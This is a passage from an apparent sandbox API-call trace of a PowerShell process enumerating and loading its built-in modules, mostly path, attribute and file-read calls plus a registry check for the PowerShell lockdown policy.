lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0131.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf70) returned 1 [0131.083] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x59fe234 | out: lpFileInformation=0x59fe234*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf6c) returned 1 [0131.083] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0131.083] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0131.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf70) returned 1 [0131.084] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x59fe234 | out: lpFileInformation=0x59fe234*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0131.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf6c) returned 1 [0131.084] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0131.084] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0131.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf70) returned 1 [0131.084] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x59fe234 | out: lpFileInformation=0x59fe234*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf6c) returned 1 [0131.084] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0131.084] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0131.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf70) returned 1 [0131.084] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x59fe234 | out: lpFileInformation=0x59fe234*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf6c) returned 1 [0131.084] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0131.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0131.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf70) returned 1 [0131.085] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x59fe234 | out: lpFileInformation=0x59fe234*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf6c) returned 1 [0131.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe220) returned 1 [0131.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0131.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0131.085] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*", lpFindFileData=0x59fdfd0 | out: lpFindFileData=0x59fdfd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5cc57b0 [0131.085] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.086] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0131.086] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0131.086] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0131.086] FindClose (in: hFindFile=0x5cc57b0 | out: hFindFile=0x5cc57b0) returned 1 [0131.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf90) returned 1 [0131.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe1f0) returned 1 [0131.086] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0131.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf98) returned 1 [0131.086] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x280b414 | out: lpFileInformation=0x280b414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0131.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf94) returned 1 [0131.087] CoCreateGuid (in: pguid=0x59fe268 | out: pguid=0x59fe268*(Data1=0x1c66ddbf, Data2=0x7cb5, Data3=0x43c7, Data4=([0]=0xa4, [1]=0x86, [2]=0xe1, [3]=0x1d, [4]=0x7d, [5]=0x63, [6]=0x85, [7]=0x6a))) returned 0x0 [0131.087] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x554 [0131.087] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x55c [0131.087] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x568 [0131.087] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x564 [0131.087] SetEvent (hEvent=0x564) returned 1 [0131.087] SetEvent (hEvent=0x554) returned 1 [0131.087] SetEvent (hEvent=0x55c) returned 1 [0131.088] SetEvent (hEvent=0x568) returned 1 [0131.088] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x56c [0131.088] SetThreadUILanguage (LangId=0x0) returned 0x409 [0131.090] EtwEventActivityIdControl () returned 0x0 [0131.090] EtwEventActivityIdControl () returned 0x0 [0131.090] EtwEventActivityIdControl () returned 0x0 [0131.098] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0131.099] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.099] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fda94) returned 1 [0131.099] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59fdd58 | out: lpFileInformation=0x59fdd58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0131.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fda90) returned 1 [0131.100] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0131.100] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.100] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.100] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x59fd99c, Length=0x20, ResultLength=0x59fda0c | out: SystemInformation=0x59fd99c, ResultLength=0x59fda0c*=0x0) returned 0xc0000003 [0131.100] GetSystemInfo (in: lpSystemInfo=0x59fda18 | out: lpSystemInfo=0x59fda18*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0131.100] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fd9a8 | out: phkResult=0x59fd9a8*=0x570) returned 0x0 [0131.101] RegQueryValueExW (in: hKey=0x570, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x59fd9c4, lpData=0x0, lpcbData=0x59fd9c0*=0x0 | out: lpType=0x59fd9c4*=0x0, lpData=0x0, lpcbData=0x59fd9c0*=0x0) returned 0x2 [0131.101] RegCloseKey (hKey=0x570) returned 0x0 [0131.101] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.101] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fd920) returned 1 [0131.101] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x570 [0131.101] GetFileType (hFile=0x570) returned 0x1 [0131.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fd91c) returned 1 [0131.101] GetFileType (hFile=0x570) returned 0x1 [0131.102] SetFilePointer (in: hFile=0x570, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd95c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd95c*=0) returned 0x0 [0131.102] ReadFile (in: hFile=0x570, lpBuffer=0x28188e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd988, lpOverlapped=0x0 | out: lpBuffer=0x28188e4*, lpNumberOfBytesRead=0x59fd988*=0x982, lpOverlapped=0x0) returned 1 [0131.102] SetFilePointer (in: hFile=0x570, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd95c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd95c*=0) returned 0x982 [0131.102] ReadFile (in: hFile=0x570, lpBuffer=0x2817dfa, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x59fd988, lpOverlapped=0x0 | out: lpBuffer=0x2817dfa*, lpNumberOfBytesRead=0x59fd988*=0x0, lpOverlapped=0x0) returned 1 [0131.102] SetFilePointer (in: hFile=0x570, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd95c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd95c*=0) returned 0x982 [0131.102] ReadFile (in: hFile=0x570, lpBuffer=0x28188e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd988, lpOverlapped=0x0 | out: lpBuffer=0x28188e4*, lpNumberOfBytesRead=0x59fd988*=0x0, lpOverlapped=0x0) returned 1 [0131.102] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x59fd8f0, Length=0x20, ResultLength=0x59fd960 | out: SystemInformation=0x59fd8f0, ResultLength=0x59fd960*=0x0) returned 0xc0000003 [0131.103] GetSystemInfo (in: lpSystemInfo=0x59fd96c | out: lpSystemInfo=0x59fd96c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0131.103] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fd8fc | out: phkResult=0x59fd8fc*=0x574) returned 0x0 [0131.103] RegQueryValueExW (in: hKey=0x574, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x59fd918, lpData=0x0, lpcbData=0x59fd914*=0x0 | out: lpType=0x59fd918*=0x0, lpData=0x0, lpcbData=0x59fd914*=0x0) returned 0x2 [0131.103] RegCloseKey (hKey=0x574) returned 0x0 [0131.103] CloseHandle (hObject=0x570) returned 1 [0131.104] CoCreateGuid (in: pguid=0x59fd9ec | out: pguid=0x59fd9ec*(Data1=0x479bd759, Data2=0x6d28, Data3=0x4b3b, Data4=([0]=0x8a, [1]=0xe3, [2]=0xa5, [3]=0x52, [4]=0xb4, [5]=0x47, [6]=0xd1, [7]=0xd))) returned 0x0 [0131.104] QueryPerformanceCounter (in: lpPerformanceCount=0x59fd74c | out: lpPerformanceCount=0x59fd74c*=1177208159262) returned 1 [0131.104] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.105] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fd438) returned 1 [0131.105] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59fd6fc | out: lpFileInformation=0x59fd6fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0131.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fd434) returned 1 [0131.105] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.105] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.105] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.105] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fd3cc) returned 1 [0131.105] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59fd690 | out: lpFileInformation=0x59fd690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0131.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fd3c8) returned 1 [0131.105] CoTaskMemAlloc (cb=0x10) returned 0x5cf6b18 [0131.105] CoTaskMemAlloc 